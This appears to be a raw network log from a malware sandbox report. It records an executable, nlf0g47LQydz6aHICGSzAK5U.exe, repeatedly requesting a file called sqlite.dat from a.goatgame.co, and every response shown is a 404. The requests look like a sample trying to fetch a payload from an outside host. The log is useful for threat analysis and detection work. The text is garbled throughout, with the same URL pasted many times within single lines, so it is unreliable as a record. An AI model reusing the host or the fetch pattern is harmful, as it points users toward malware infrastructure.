                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:20 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Rv1v70ZxhBOC9JDSMy62F1KvM%2FgNeJI0y9IHSOG8lnSRAFZMKDQvLPoJPLHsqT1n2aueOLzfO7vEEQygF2jXrgXiDoh2B9xytuJsuXkygJQ4yq65hYrpsN4GzMQcTmha"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328229a341e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:21 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GSlgeuFuzjeRam5XUA0CoglYVGUcFour9YAi2rBzDxsR1WqTZlCr%2FYN0m3mlwVbkIXRyYpRKzOhS0rvvcHZ4ZqeQxNoEzdQ5HfiyVJZdg%2BmTgmrg61faeyikepAxBgOk"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823282b5c811e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:24 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X6GIDwF3Leg274KL0PfCazxc6egb9%2BPONXpyPluo%2BzB0Kvp9MzQT4ur5s%2B%2Bh5m8nu%2FkA4QGFl6mrLNwYb765U5wK8sYfkQkgp4yUZxyNhRp98vRRHH9xO%2BGOEhQJVhmY"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823283ceb4d1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:25 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=d4YYyOkD6G60anw4%2F4HF5q%2FSH%2Fb3%2B%2BxLZY5B6UQMAyy41YDEGGcHKIpWwSFHxg6G3%2B%2BJTkbn3jkMuj2LwyDAn75%2Fs0CvzOB1GjjxOtCZUYX0kUfXZrpfnpCQ%2B8%2BPeiEP"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232843cdd71e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:26 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B9UMmRc4ZSjuyGLuABW7Tb1NO3HykOZCRPsjs8UuKYtdBExmEXWtqYrZ3qNlMf3rlDjxx33%2BlarIzc%2BX5E9KhkuNovt6tOXpybzGmonbbua8diNanNHMImB8aBgagbzp"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328493cf11e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:28 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bgPJrOFezVGhAmT55I4K1I13mbtLAGwN71UOPEIqvYYgTm1QtfMpuuxUSIyucpr88841qBYqv48y1benWPq3U8RYfd83o2HMNL6Iw8hjcUynuA8zim1TzXjNESsPk4jn"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232853fa7d1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:29 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5buGbjpyujOmAywwu1Hz2leHuKVyIaL0Rud2ZpWYInEn7mqjdHgl7nF5utyCKWokzbOD3yab98w8XmGaSg6gn1AAyvsDqqWu0G%2FymTM%2F3Nl4E0%2FhboRuxPW5oB67aKOn"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823285b1b661e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
